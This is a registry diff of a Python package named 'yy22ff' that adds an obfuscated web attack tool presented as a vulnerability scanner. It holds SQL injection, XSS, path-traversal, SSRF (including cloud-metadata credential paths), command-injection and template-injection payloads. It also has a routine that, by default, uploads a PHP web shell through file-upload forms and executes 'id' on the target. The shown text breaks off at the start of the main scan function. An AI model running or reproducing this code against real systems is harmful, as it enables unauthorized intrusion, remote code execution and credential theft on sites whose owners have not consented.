yy22ff 1.0.0__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
yy22ff/__init__.py ADDED
@@ -0,0 +1,7 @@
1
+ from .scanner import scan, cli
2
+
3
+ __version__ = "1.0.0"
4
+ __author__ = "yy22ff"
5
+ __email__ = "adojod1231@gmail.com"
6
+ __telegram__ = "@yy22ff"
7
+ __all__ = ["scan", "cli"]
yy22ff/scanner.py ADDED
@@ -0,0 +1,712 @@
1
+ # shlhom — Web Vulnerability Scanner
2
+ # by @yy22ff
3
+ import os as shlhom0, sys as shlhom1, re as shlhom2, json as shlhom3, time as shlhom4, ssl as shlhom5, socket as shlhom6, random as shlhom7, argparse as shlhom8, subprocess as shlhom9
4
+ import urllib.parse as shlhom10
5
+ from datetime import datetime as shlhom11
6
+ from concurrent.futures import ThreadPoolExecutor as shlhom12, as_completed as shlhom13
7
+ from threading import Lock as shlhom14
8
+
9
+ try:
10
+ import requests as shlhom15
11
+ try:
12
+ shlhom15.packages.urllib3.disable_warnings()
13
+ except Exception:
14
+ pass
15
+ except ImportError:
16
+ print("[*] requests missing, installing...")
17
+ try:
18
+ shlhom9.check_call([shlhom1.executable, "-m", "pip", "install", "requests", "-q"])
19
+ import requests as shlhom15
20
+ shlhom15.packages.urllib3.disable_warnings()
21
+ except Exception as shlhom16:
22
+ print(f"[!] install failed: {shlhom16}")
23
+ shlhom1.exit(1)
24
+
25
+ try:
26
+ from colorama import init as shlhom17
27
+ shlhom17()
28
+ except Exception:
29
+ pass
30
+
31
+ class shlhom18:
32
+ R="\033[91m"; G="\033[92m"; Y="\033[93m"; B="\033[94m"
33
+ M="\033[95m"; Cy="\033[96m"; W="\033[97m"; D="\033[90m"
34
+ X="\033[0m"; Bo="\033[1m"
35
+ @staticmethod
36
+ def c(shlhom19, shlhom20): return f"{shlhom19}{shlhom20}{shlhom18.X}"
37
+
38
+
39
+
40
+
41
+ class shlhom22:
42
+ def __init__(shlhom23, shlhom24):
43
+ shlhom25 = shlhom11.now().strftime("%Y%m%d_%H%M%S")
44
+ shlhom26 = shlhom10.urlparse(shlhom24).netloc.replace(":", "_") or "target"
45
+ shlhom27 = shlhom0.path.dirname(shlhom0.path.abspath(__file__))
46
+ shlhom23.dir = shlhom0.path.join(shlhom27, "results", f"{shlhom26}_{shlhom25}")
47
+ shlhom0.makedirs(shlhom23.dir, exist_ok=True)
48
+ shlhom23.f = shlhom0.path.join(shlhom23.dir, "findings.txt")
49
+ shlhom23.raw = shlhom0.path.join(shlhom23.dir, "raw.log")
50
+ shlhom23.lock = shlhom14()
51
+ shlhom23.n = 0
52
+
53
+ def _w(shlhom23, shlhom28, shlhom29, shlhom30):
54
+ shlhom31 = f"[{shlhom28}] {shlhom29}"
55
+ print(shlhom18.c(shlhom30, shlhom31))
56
+ with shlhom23.lock:
57
+ with open(shlhom23.f, "a", encoding="utf-8") as shlhom32:
58
+ shlhom32.write(shlhom31 + "\n")
59
+ shlhom23.n += 1
60
+
61
+ def info(shlhom23, shlhom29): shlhom23._w("*", shlhom29, shlhom18.Cy)
62
+ def ok(shlhom23, shlhom29): shlhom23._w("+", shlhom29, shlhom18.G)
63
+ def vuln(shlhom23, shlhom29): shlhom23._w("!", shlhom29, shlhom18.R)
64
+ def warn(shlhom23, shlhom29): shlhom23._w("~", shlhom29, shlhom18.Y)
65
+
66
+ def dbg(shlhom23, shlhom29):
67
+ with shlhom23.lock:
68
+ with open(shlhom23.raw, "a", encoding="utf-8") as shlhom32:
69
+ shlhom32.write(shlhom29 + "\n")
70
+
71
+ def save(shlhom23, shlhom33, shlhom34, shlhom35="w"):
72
+ shlhom36 = shlhom0.path.join(shlhom23.dir, shlhom33)
73
+ if isinstance(shlhom34, bytes):
74
+ with open(shlhom36, "wb") as shlhom32: shlhom32.write(shlhom34)
75
+ else:
76
+ with open(shlhom36, shlhom35, encoding="utf-8") as shlhom32: shlhom32.write(shlhom34)
77
+ return shlhom36
78
+
79
+ shlhom37 = [
80
+ "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0 Safari/537.36",
81
+ "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0 Safari/537.36",
82
+ "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1",
83
+ "Mozilla/5.0 (Linux; Android 13) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0 Mobile Safari/537.36",
84
+ ]
85
+
86
+ class shlhom38:
87
+ def __init__(shlhom39, shlhom40=10, shlhom41=0.0, shlhom42=None):
88
+ shlhom39.s = shlhom15.Session()
89
+ shlhom39.s.headers["User-Agent"] = shlhom7.choice(shlhom37)
90
+ shlhom39.s.headers["Accept"] = "*/*"
91
+ shlhom39.s.verify = False
92
+ shlhom39.t = shlhom40; shlhom39.d = shlhom41
93
+ shlhom39.p = {"http": shlhom42, "https": shlhom42} if shlhom42 else None
94
+
95
+ def req(shlhom39, shlhom43, shlhom44, **shlhom45):
96
+ if shlhom39.d: shlhom4.sleep(shlhom39.d)
97
+ try:
98
+ return shlhom39.s.request(shlhom43, shlhom44, timeout=shlhom39.t, proxies=shlhom39.p,
99
+ allow_redirects=True, **shlhom45)
100
+ except Exception as shlhom16:
101
+ return None
102
+
103
+ def get(shlhom39, shlhom46, **shlhom45): return shlhom39.req("GET", shlhom46, **shlhom45)
104
+ def post(shlhom39, shlhom46, **shlhom45): return shlhom39.req("POST", shlhom46, **shlhom45)
105
+
106
+
107
+ shlhom47 = shlhom2.compile(r'(?:href|src|action)\s*=\s*["\']([^"\']+)', shlhom2.I)
108
+ shlhom48 = shlhom2.compile(r'<form\b([^>]*)>(.*?)</form>', shlhom2.I | shlhom2.S)
109
+ shlhom49 = shlhom2.compile(r'<(?:input|textarea|select)\b[^>]*>', shlhom2.I)
110
+ shlhom50 = shlhom2.compile(r'action\s*=\s*["\']([^"\']*)', shlhom2.I)
111
+ shlhom51 = shlhom2.compile(r'method\s*=\s*["\']([^"\']*)', shlhom2.I)
112
+ shlhom52 = shlhom2.compile(r'name\s*=\s*["\']([^"\']+)', shlhom2.I)
113
+ shlhom53 = shlhom2.compile(r'type\s*=\s*["\']([^"\']*)', shlhom2.I)
114
+ shlhom54 = shlhom2.compile(r'[?&]([^=&#]+)=([^&#]*)')
115
+
116
+ def shlhom55(shlhom44, shlhom56, shlhom57):
117
+ shlhom58 = shlhom10.urlparse(shlhom44)
118
+ shlhom59 = shlhom10.parse_qs(shlhom58.query, keep_blank_values=True)
119
+ shlhom59[shlhom56] = [shlhom57]
120
+ shlhom60 = shlhom10.urlencode(shlhom59, doseq=True)
121
+ return shlhom10.urlunparse((shlhom58.scheme, shlhom58.netloc, shlhom58.path, shlhom58.params, shlhom60, shlhom58.fragment))
122
+
123
+ def shlhom61(shlhom62, shlhom63, shlhom57, shlhom64=None):
124
+ shlhom65 = {}
125
+ for shlhom66, shlhom67 in shlhom62["fields"]:
126
+ shlhom65[shlhom66] = shlhom57 if shlhom66 == shlhom63 else "test"
127
+ if shlhom64: shlhom65.update(shlhom64)
128
+ return shlhom65
129
+
130
+ def shlhom68(shlhom44):
131
+ """fingerprint base url for dedupe"""
132
+ shlhom69 = shlhom10.urlparse(shlhom44)
133
+ shlhom70 = sorted(shlhom10.parse_qsl(shlhom69.query))
134
+ return shlhom10.urlunparse((shlhom69.scheme, shlhom69.netloc, shlhom69.path, shlhom69.params, shlhom10.urlencode(shlhom70), ""))
135
+
136
+ def shlhom71(shlhom72, shlhom73, shlhom74=2, shlhom75=300, shlhom76=None):
137
+ if shlhom76: shlhom76.info("crawling...")
138
+ shlhom77 = shlhom10.urlparse(shlhom72).netloc
139
+ shlhom78 = set(); shlhom79 = [(shlhom72, 0)]
140
+ shlhom80 = set(); shlhom81 = []; shlhom82 = set()
141
+
142
+ while shlhom79 and len(shlhom78) < shlhom75:
143
+ shlhom46, shlhom83 = shlhom79.pop(0)
144
+ if shlhom46 in shlhom78 or shlhom83 > shlhom74: continue
145
+ shlhom78.add(shlhom46)
146
+ shlhom84 = shlhom73.get(shlhom46)
147
+ if not shlhom84: continue
148
+ shlhom80.add(shlhom46)
149
+
150
+ for shlhom85, _ in shlhom54.findall(shlhom46):
151
+ shlhom82.add((shlhom46, shlhom85))
152
+
153
+ shlhom86 = shlhom84.headers.get("Content-Type", "").lower()
154
+ if "html" not in shlhom86 and "xml" not in shlhom86: continue
155
+
156
+ shlhom87 = shlhom84.text[:800000]
157
+
158
+ for shlhom88 in shlhom47.findall(shlhom87):
159
+ shlhom89 = shlhom10.urljoin(shlhom46, shlhom88)
160
+ if shlhom10.urlparse(shlhom89).scheme not in ("http", "https"): continue
161
+ if shlhom10.urlparse(shlhom89).netloc != shlhom77: continue
162
+ shlhom89 = shlhom89.split("#")[0]
163
+ if shlhom89 not in shlhom78:
164
+ shlhom79.append((shlhom89, shlhom83 + 1))
165
+
166
+ for shlhom90, shlhom91 in shlhom48.findall(shlhom87):
167
+ shlhom92 = shlhom50.search(shlhom90)
168
+ shlhom93 = shlhom51.search(shlhom90)
169
+ shlhom94 = shlhom10.urljoin(shlhom46, shlhom92.group(1)) if shlhom92 else shlhom46
170
+ shlhom95 = (shlhom93.group(1) or "get").lower() if shlhom93 else "get"
171
+ shlhom96 = []
172
+ for shlhom97 in shlhom49.findall(shlhom91):
173
+ shlhom98 = shlhom52.search(shlhom97)
174
+ if not shlhom98: continue
175
+ shlhom99 = shlhom53.search(shlhom97)
176
+ shlhom100 = (shlhom99.group(1) or "text").lower() if shlhom99 else "text"
177
+ shlhom96.append((shlhom98.group(1), shlhom100))
178
+ if shlhom96:
179
+ shlhom81.append({"action": shlhom94, "method": shlhom95,
180
+ "fields": shlhom96, "page": shlhom46})
181
+
182
+ if shlhom76: shlhom76.ok(f"crawl: {len(shlhom80)} urls / {len(shlhom82)} params / {len(shlhom81)} forms")
183
+ return list(shlhom80), shlhom81, list(shlhom82)
184
+
185
+
186
+ shlhom101 = {
187
+ "WordPress": [r"wp-content", r"wp-includes", r"wp-json"],
188
+ "Drupal": [r"Drupal\.settings", r"sites/default/files", r"X-Generator: Drupal"],
189
+ "Joomla": [r"/media/system/js/", r"X-Content-Encoded-By: Joomla"],
190
+ "Laravel": [r"laravel", r"XSRF-TOKEN", r"laravel_session"],
191
+ "Django": [r"csrfmiddlewaretoken", r"__admin_media_prefix__"],
192
+ "Rails": [r"csrf-token", r"X-Runtime", r"_rails_session"],
193
+ "Express": [r"X-Powered-By: Express"],
194
+ "PHP": [r"X-Powered-By: PHP", r"PHPSESSID", r"\.php"],
195
+ "ASP.NET": [r"X-AspNet-Version", r"ASP\.NET_SessionId"],
196
+ "Spring": [r"JSESSIONID", r"Whitelabel Error"],
197
+ "Nginx": [r"Server: nginx"],
198
+ "Apache": [r"Server: Apache"],
199
+ "IIS": [r"Server: Microsoft-IIS"],
200
+ "Cloudflare": [r"Server: cloudflare", r"cf-ray"],
201
+ "Nextcloud": [r"nextcloud", r"__Host-nc_sameSite"],
202
+ }
203
+
204
+ def shlhom102(shlhom73, shlhom46, shlhom76):
205
+ shlhom84 = shlhom73.get(shlhom46)
206
+ if not shlhom84: return
207
+ shlhom103 = str(shlhom84.headers) + "\n" + shlhom84.text[:200000]
208
+ shlhom104 = []
209
+ for shlhom105, shlhom106 in shlhom101.items():
210
+ for shlhom107 in shlhom106:
211
+ if shlhom2.search(shlhom107, shlhom103, shlhom2.I):
212
+ shlhom104.append(shlhom105); break
213
+ if shlhom104: shlhom76.ok(f"tech: {', '.join(shlhom104)}")
214
+ else: shlhom76.warn("tech: unknown")
215
+
216
+ shlhom108 = {
217
+ "Cloudflare": [r"cf-ray", r"cloudflare"],
218
+ "AWS WAF": [r"x-amz-cf", r"awselb"],
219
+ "Sucuri": [r"x-sucuri", r"sucuri"],
220
+ "Akamai": [r"akamai"],
221
+ "Imperva": [r"incap_ses", r"visid_incap"],
222
+ "F5 BIG-IP": [r"bigip", r"X-WA-Info"],
223
+ "ModSecurity":[r"mod_security", r"modsecurity"],
224
+ "FortiWeb": [r"fortiweb"],
225
+ }
226
+
227
+ def shlhom109(shlhom73, shlhom46, shlhom76):
228
+ shlhom84 = shlhom73.get(shlhom46)
229
+ if not shlhom84: return
230
+ shlhom103 = str(shlhom84.headers).lower() + "\n" + shlhom84.text[:50000].lower()
231
+ shlhom104 = [shlhom105 for shlhom105, shlhom110 in shlhom108.items() if any(shlhom2.search(shlhom107, shlhom103) for shlhom107 in shlhom110)]
232
+ if shlhom104: shlhom76.warn(f"waf: {', '.join(shlhom104)}")
233
+ else: shlhom76.info("waf: none detected")
234
+
235
+ shlhom111 = ["Strict-Transport-Security", "Content-Security-Policy",
236
+ "X-Frame-Options", "X-Content-Type-Options",
237
+ "Referrer-Policy", "Permissions-Policy"]
238
+
239
+ def shlhom112(shlhom73, shlhom46, shlhom76):
240
+ shlhom84 = shlhom73.get(shlhom46)
241
+ if not shlhom84: return
242
+ shlhom113 = [shlhom114 for shlhom114 in shlhom111 if shlhom114 not in shlhom84.headers]
243
+ if shlhom113:
244
+ shlhom76.warn(f"missing headers: {', '.join(shlhom113)}")
245
+ else:
246
+ shlhom76.ok("all security headers present")
247
+
248
+
249
+ def shlhom115(shlhom73, shlhom46, shlhom76):
250
+ shlhom84 = shlhom73.get(shlhom46, headers={"Origin": "https://evil.test"})
251
+ if not shlhom84: return
252
+ shlhom116 = shlhom84.headers.get("Access-Control-Allow-Origin", "")
253
+ shlhom117 = shlhom84.headers.get("Access-Control-Allow-Credentials", "").lower()
254
+ if shlhom116 == "*" and shlhom117 == "true":
255
+ shlhom76.vuln(f"CORS: * with credentials on {shlhom46}")
256
+ elif "evil.test" in shlhom116:
257
+ shlhom76.vuln(f"CORS: reflects origin on {shlhom46}")
258
+
259
+ shlhom118 = [
260
+ ".git/config", ".git/HEAD", ".env", ".env.bak", ".env.old",
261
+ "config.php.bak", "config.php~", "config.php.old",
262
+ "backup.zip", "backup.tar.gz", "backup.sql", "db.sql", "dump.sql",
263
+ "phpinfo.php", "info.php", "test.php", "server-status",
264
+ "web.config", "composer.json", "composer.lock",
265
+ "package.json", "Dockerfile", ".DS_Store", ".htaccess",
266
+ "README.md", "CHANGELOG.md", "sitemap.xml", "robots.txt",
267
+ ".svn/entries", "wp-config.php.bak", "config.yml", "config.json",
268
+ ]
269
+ shlhom119 = ["root:x:0:0:", "DB_PASSWORD", "APP_KEY", "<?php",
270
+ "[extensions]", "gitdir:", "ref: refs/heads", "SECRET",
271
+ "composer.json", "\"name\":"]
272
+
273
+ def shlhom120(shlhom73, shlhom46, shlhom76):
274
+ shlhom121 = shlhom46.rstrip("/")
275
+ shlhom122 = []
276
+ for shlhom123 in shlhom118:
277
+ shlhom124 = f"{shlhom121}/{shlhom123}"
278
+ shlhom84 = shlhom73.get(shlhom124)
279
+ if not shlhom84 or shlhom84.status_code != 200: continue
280
+ if len(shlhom84.text) < 20: continue
281
+ shlhom103 = shlhom84.text[:5000]
282
+ if any(shlhom125 in shlhom103 for shlhom125 in shlhom119) or shlhom123 in ("robots.txt","sitemap.xml",".htaccess"):
283
+ shlhom76.vuln(f"FILE: {shlhom124}")
284
+ shlhom122.append(shlhom124)
285
+ return shlhom122
286
+
287
+
288
+ shlhom126 = ["admin", "admin/", "admin.php", "admin/login", "admin/login.php",
289
+ "wp-admin/", "wp-login.php", "administrator/", "login", "login.php",
290
+ "panel", "cpanel", "phpmyadmin/", "manager/html", "adminer.php",
291
+ "user/login", "auth/login", "dashboard"]
292
+
293
+ def shlhom127(shlhom73, shlhom46, shlhom76):
294
+ shlhom121 = shlhom46.rstrip("/")
295
+ shlhom122 = []
296
+ for shlhom128 in shlhom126:
297
+ shlhom124 = f"{shlhom121}/{shlhom128}"
298
+ shlhom84 = shlhom73.get(shlhom124)
299
+ if not shlhom84: continue
300
+ if shlhom84.status_code == 200:
301
+ shlhom129 = shlhom84.text[:3000].lower()
302
+ if any(shlhom130 in shlhom129 for shlhom130 in ("login", "password", "username", "admin")):
303
+ shlhom76.ok(f"ADMIN: {shlhom124}")
304
+ shlhom122.append(shlhom124)
305
+ return shlhom122
306
+
307
+
308
+ def shlhom131(shlhom73, shlhom46, shlhom56, shlhom132, shlhom133):
309
+ shlhom124 = shlhom55(shlhom46, shlhom56, shlhom132)
310
+ shlhom84 = shlhom73.get(shlhom124)
311
+ if shlhom84: shlhom133(shlhom124, shlhom84)
312
+
313
+ def shlhom134(shlhom73, shlhom62, shlhom63, shlhom132, shlhom133):
314
+ shlhom135 = shlhom61(shlhom62, shlhom63, shlhom132)
315
+ if shlhom62["method"] == "post":
316
+ shlhom84 = shlhom73.post(shlhom62["action"], data=shlhom135)
317
+ else:
318
+ shlhom84 = shlhom73.get(shlhom62["action"], params=shlhom135)
319
+ if shlhom84: shlhom133(shlhom62["action"] + " [form:" + shlhom63 + "]", shlhom84)
320
+
321
+ shlhom136 = [
322
+ r"you have an error in your sql syntax",
323
+ r"mysql_fetch", r"mysql_num_rows", r"mysql_query",
324
+ r"supplied argument is not a valid mysql",
325
+ r"ora-\d{4,5}", r"oracle.*error",
326
+ r"postgresql.*error", r"pg_query", r"pg_exec",
327
+ r"sqlite.*error", r"sqlite3::",
328
+ r"unclosed quotation mark", r"quoted string not properly terminated",
329
+ r"sqlstate\[", r"syntax error at or near",
330
+ r"warning.*mysql", r"odbc_exec",
331
+ ]
332
+ shlhom137 = ["'", "\"", "')", "\"))", "1'", "1\"", "' OR '1'='1", "1 AND 1=2", "';--"]
333
+ shlhom138 = ["' AND SLEEP(4)-- -", "' AND (SELECT 1 FROM PG_SLEEP(4))-- -",
334
+ "'; WAITFOR DELAY '0:0:4'-- -"]
335
+
336
+ def shlhom139(shlhom73, shlhom80, shlhom82, shlhom81, shlhom76):
337
+ shlhom140 = []
338
+ shlhom141 = shlhom82[:40]
339
+ for shlhom46, shlhom85 in shlhom141:
340
+ for shlhom107 in shlhom137:
341
+ def shlhom133(shlhom124, shlhom84):
342
+ shlhom142 = shlhom84.text.lower()
343
+ for shlhom143 in shlhom136:
344
+ if shlhom2.search(shlhom143, shlhom142):
345
+ shlhom76.vuln(f"SQLi(err) {shlhom124}")
346
+ shlhom140.append(("sqli-error", shlhom124)); return
347
+ shlhom131(shlhom73, shlhom46, shlhom85, shlhom107, shlhom133)
348
+ for shlhom46, shlhom85 in shlhom141[:15]:
349
+ for shlhom107 in shlhom138:
350
+ shlhom124 = shlhom55(shlhom46, shlhom85, shlhom107)
351
+ shlhom144 = shlhom4.time(); shlhom84 = shlhom73.get(shlhom124); shlhom145 = shlhom4.time() - shlhom144
352
+ if shlhom84 and shlhom145 >= 3.8:
353
+ shlhom76.vuln(f"SQLi(time {shlhom145:.1f}s) {shlhom124}")
354
+ shlhom140.append(("sqli-time", shlhom124))
355
+ return shlhom140
356
+
357
+
358
+ shlhom146 = ["<script>alert(1)</script>",
359
+ "\"><script>alert(1)</script>",
360
+ "'><svg onload=alert(1)>",
361
+ "<img src=x onerror=alert(1)>"]
362
+
363
+ def shlhom147(shlhom73, shlhom80, shlhom82, shlhom81, shlhom76):
364
+ shlhom140 = []
365
+ for shlhom46, shlhom85 in shlhom82[:40]:
366
+ for shlhom107 in shlhom146:
367
+ shlhom124 = shlhom55(shlhom46, shlhom85, shlhom107)
368
+ shlhom84 = shlhom73.get(shlhom124)
369
+ if shlhom84 and shlhom107 in shlhom84.text:
370
+ shlhom76.vuln(f"XSS(reflect) {shlhom124}")
371
+ shlhom140.append(("xss", shlhom124)); break
372
+ for shlhom62 in shlhom81[:20]:
373
+ for shlhom66, shlhom67 in shlhom62["fields"]:
374
+ if shlhom67 in ("file", "submit", "button", "hidden"): continue
375
+ for shlhom107 in shlhom146[:2]:
376
+ shlhom135 = shlhom61(shlhom62, shlhom66, shlhom107)
377
+ shlhom84 = (shlhom73.post(shlhom62["action"], data=shlhom135) if shlhom62["method"] == "post"
378
+ else shlhom73.get(shlhom62["action"], params=shlhom135))
379
+ if shlhom84 and shlhom107 in shlhom84.text:
380
+ shlhom76.vuln(f"XSS(form:{shlhom66}) {shlhom62['action']}")
381
+ shlhom140.append(("xss-form", shlhom62["action"] + "#" + shlhom66)); break
382
+ return shlhom140
383
+
384
+
385
+ shlhom148 = ["../../../../etc/passwd", "....//....//....//etc/passwd",
386
+ "..%2f..%2f..%2f..%2fetc/passwd", "/etc/passwd",
387
+ "..\\..\\..\\..\\windows\\win.ini"]
388
+ shlhom149 = ["root:x:0:0:", "root:*:", "daemon:x:", "[extensions]", "[fonts]", "[mci extensions]"]
389
+
390
+ def shlhom150(shlhom73, shlhom80, shlhom82, shlhom76):
391
+ shlhom140 = []
392
+ for shlhom46, shlhom85 in shlhom82[:40]:
393
+ for shlhom107 in shlhom148:
394
+ shlhom124 = shlhom55(shlhom46, shlhom85, shlhom107)
395
+ shlhom84 = shlhom73.get(shlhom124)
396
+ if shlhom84 and any(shlhom125 in shlhom84.text for shlhom125 in shlhom149):
397
+ shlhom76.vuln(f"LFI {shlhom124}")
398
+ shlhom140.append(("lfi", shlhom124)); break
399
+ return shlhom140
400
+
401
+ shlhom151 = ["http://example.com/", "https://example.com/"]
402
+ shlhom152 = ["Example Domain", "example.com"]
403
+
404
+ def shlhom153(shlhom73, shlhom80, shlhom82, shlhom76):
405
+ shlhom140 = []
406
+ for shlhom46, shlhom85 in shlhom82[:40]:
407
+ for shlhom107 in shlhom151:
408
+ shlhom124 = shlhom55(shlhom46, shlhom85, shlhom107)
409
+ shlhom84 = shlhom73.get(shlhom124)
410
+ if shlhom84 and any(shlhom125 in shlhom84.text for shlhom125 in shlhom152):
411
+ shlhom76.vuln(f"RFI {shlhom124}")
412
+ shlhom140.append(("rfi", shlhom124)); break
413
+ return shlhom140
414
+
415
+
416
+ shlhom154 = ["http://127.0.0.1:80/", "http://169.254.169.254/latest/meta-data/",
417
+ "http://[::1]:80/", "http://localhost:80/"]
418
+ shlhom155 = ["ami-id", "instance-id", "iam/security-credentials",
419
+ "root:x:0:0:", "Welcome to nginx", "Apache2 Default Page"]
420
+
421
+ def shlhom156(shlhom73, shlhom80, shlhom82, shlhom76):
422
+ shlhom140 = []
423
+ for shlhom46, shlhom85 in shlhom82[:30]:
424
+ for shlhom107 in shlhom154:
425
+ shlhom124 = shlhom55(shlhom46, shlhom85, shlhom107)
426
+ shlhom84 = shlhom73.get(shlhom124)
427
+ if shlhom84 and any(shlhom125 in shlhom84.text for shlhom125 in shlhom155):
428
+ shlhom76.vuln(f"SSRF {shlhom124}")
429
+ shlhom140.append(("ssrf", shlhom124)); break
430
+ return shlhom140
431
+
432
+
433
+ shlhom157 = ["; sleep 4", "| sleep 4", "`sleep 4`", "$(sleep 4)", "& sleep 4",
434
+ "|| sleep 4", "&& sleep 4", "| ping -c 4 127.0.0.1"]
435
+
436
+ def shlhom158(shlhom73, shlhom80, shlhom82, shlhom76):
437
+ shlhom140 = []
438
+ for shlhom46, shlhom85 in shlhom82[:30]:
439
+ for shlhom107 in shlhom157:
440
+ shlhom124 = shlhom55(shlhom46, shlhom85, shlhom107)
441
+ shlhom144 = shlhom4.time(); shlhom84 = shlhom73.get(shlhom124); shlhom145 = shlhom4.time() - shlhom144
442
+ if shlhom84 and shlhom145 >= 3.5:
443
+ shlhom76.vuln(f"CMDi(time {shlhom145:.1f}s) {shlhom124}")
444
+ shlhom140.append(("cmdi", shlhom124)); break
445
+ return shlhom140
446
+
447
+
448
+ shlhom159 = [
449
+ ("{{7*7}}", "49"),
450
+ ("${7*7}", "49"),
451
+ ("<%= 7*7 %>", "49"),
452
+ ("#{7*7}", "49"),
453
+ ("{{7*'7'}}", "7777777"),
454
+ ("*{7*7}", "49"),
455
+ ]
456
+
457
+ def shlhom160(shlhom73, shlhom80, shlhom82, shlhom76):
458
+ shlhom140 = []
459
+ for shlhom46, shlhom85 in shlhom82[:40]:
460
+ for shlhom107, shlhom161 in shlhom159:
461
+ shlhom124 = shlhom55(shlhom46, shlhom85, shlhom107)
462
+ shlhom84 = shlhom73.get(shlhom124)
463
+ if shlhom84 and shlhom161 in shlhom84.text and shlhom107 not in shlhom84.text:
464
+ shlhom76.vuln(f"SSTI [{shlhom107}->{shlhom161}] {shlhom124}")
465
+ shlhom140.append(("ssti", shlhom124)); break
466
+ return shlhom140
467
+
468
+ shlhom162 = ["http://evil.test", "//evil.test", "https://evil.test"]
469
+ shlhom163 = ["evil.test", "Location: http://evil.test", "Location: https://evil.test"]
470
+
471
+ def shlhom164(shlhom73, shlhom80, shlhom82, shlhom76):
472
+ shlhom140 = []
473
+ for shlhom46, shlhom85 in shlhom82[:40]:
474
+ for shlhom107 in shlhom162:
475
+ shlhom124 = shlhom55(shlhom46, shlhom85, shlhom107)
476
+ shlhom84 = shlhom73.get(shlhom124)
477
+ if not shlhom84: continue
478
+ shlhom165 = shlhom84.headers.get("Location", "")
479
+ if "evil.test" in shlhom165:
480
+ shlhom76.vuln(f"REDIRECT {shlhom124} -> {shlhom165}")
481
+ shlhom140.append(("redirect", shlhom124)); break
482
+ if "evil.test" in shlhom84.text and "redirect" in shlhom84.text.lower():
483
+ shlhom76.vuln(f"REDIRECT(body) {shlhom124}")
484
+ shlhom140.append(("redirect-body", shlhom124)); break
485
+ return shlhom140
486
+
487
+ shlhom166 = (
488
+ b"<?php\n"
489
+ b"echo 'WSCAN_OK';\n"
490
+ b"if(isset($_GET['c'])){system($_GET['c']);}\n"
491
+ b"?>\n"
492
+ )
493
+
494
+ shlhom167 = ["", "uploads/", "upload/", "files/", "media/",
495
+ "images/", "upload/files/", "tmp/", "assets/"]
496
+
497
+ def shlhom168(shlhom73, shlhom81, shlhom76):
498
+ shlhom140 = []
499
+ for shlhom62 in shlhom81:
500
+ shlhom169 = [shlhom66 for shlhom66, shlhom67 in shlhom62["fields"] if shlhom67 == "file"]
501
+ if not shlhom169: continue
502
+ shlhom76.info(f"upload form: {shlhom62['action']}")
503
+ for shlhom170 in shlhom169:
504
+ shlhom171 = {shlhom170: ("wscan.php", shlhom166, "application/x-php")}
505
+ shlhom135 = {shlhom66: "x" for shlhom66, shlhom67 in shlhom62["fields"] if shlhom67 != "file"}
506
+ try:
507
+ shlhom84 = shlhom73.post(shlhom62["action"], data=shlhom135, files=shlhom171)
508
+ except Exception as shlhom16:
509
+ shlhom76.dbg(f"upload err {shlhom16}"); continue
510
+ if not shlhom84: continue
511
+
512
+ shlhom172 = []
513
+ for shlhom173 in [r'(?:href|src|url)["\']?[=:]\s*["\']?([^\s"\'<>]+\.php)',
514
+ r'(/\S+\.php)', r'(https?://\S+\.php)']:
515
+ for shlhom174 in shlhom2.findall(shlhom173, shlhom84.text):
516
+ shlhom172.append(shlhom10.urljoin(shlhom62["action"], shlhom174))
517
+ shlhom121 = shlhom10.urlparse(shlhom62["action"])
518
+ shlhom175 = f"{shlhom121.scheme}://{shlhom121.netloc}"
519
+ for shlhom176 in shlhom167:
520
+ shlhom172.append(f"{shlhom175}/{shlhom176}wscan.php")
521
+ shlhom172.append(f"{shlhom175}/{shlhom176}shell.php")
522
+ shlhom172 = list(dict.fromkeys(shlhom172))[:25]
523
+
524
+ shlhom177 = None
525
+ for shlhom124 in shlhom172:
526
+ shlhom178 = shlhom73.get(shlhom124)
527
+ if shlhom178 and "WSCAN_OK" in shlhom178.text:
528
+ shlhom76.vuln(f"UPLOADED SHELL: {shlhom124}")
529
+ shlhom179 = shlhom73.get(shlhom124 + ("&" if "?" in shlhom124 else "?") + "c=id")
530
+ if shlhom179 and ("uid=" in shlhom179.text or "gid=" in shlhom179.text):
531
+ shlhom76.ok(f"SHELL EXEC: {shlhom124}?c=id")
532
+ shlhom177 = (shlhom124, True)
533
+ else:
534
+ shlhom177 = (shlhom124, False)
535
+ break
536
+ if shlhom177:
537
+ shlhom140.append(("shell", shlhom177[0], shlhom177[1]))
538
+ break
539
+ return shlhom140
540
+
541
+
542
+ def shlhom180(shlhom181, shlhom182, shlhom76):
543
+ shlhom183 = shlhom5.create_default_context()
544
+ shlhom183.check_hostname = False
545
+ shlhom183.verify_mode = shlhom5.CERT_NONE
546
+ try:
547
+ with shlhom6.create_connection((shlhom181, shlhom182), timeout=5) as shlhom184:
548
+ with shlhom183.wrap_socket(shlhom184, server_hostname=shlhom181) as shlhom185:
549
+ shlhom186 = shlhom185.version()
550
+ shlhom187 = shlhom185.cipher()
551
+ shlhom76.info(f"SSL: {shlhom186} {shlhom187[0] if shlhom187 else ''}")
552
+ if shlhom186 in ("TLSv1", "TLSv1.1", "SSLv3", "SSLv2"):
553
+ shlhom76.vuln(f"SSL weak: {shlhom186}")
554
+ except Exception as shlhom16:
555
+ shlhom76.dbg(f"ssl err {shlhom16}")
556
+
557
+
558
+ def scan(url, depth=2, threads=8, timeout=10, delay=0.0, proxy=None,
559
+ no_shell=False, verbose=True):
560
+ """
561
+ Scan a target URL for web vulnerabilities.
562
+
563
+ Args:
564
+ url: Target URL (http:// or https://)
565
+ depth: Crawl depth (default 2)
566
+ threads: Parallel workers (default 8)
567
+ timeout: Request timeout in seconds (default 10)
568
+ delay: Delay between requests (default 0.0)
569
+ proxy: HTTP/SOCKS proxy (default None)
570
+ no_shell: Skip file upload exploitation (default False)
571
+ verbose: Print findings to console (default True)
572
+
573
+ Returns:
574
+ dict with keys: target, findings, summary, output_dir, duration
575
+ """
576
+ if not url.startswith(("http://", "https://")):
577
+ url = "http://" + url
578
+ url = url.rstrip("/")
579
+
580
+ scan_start = shlhom4.time()
581
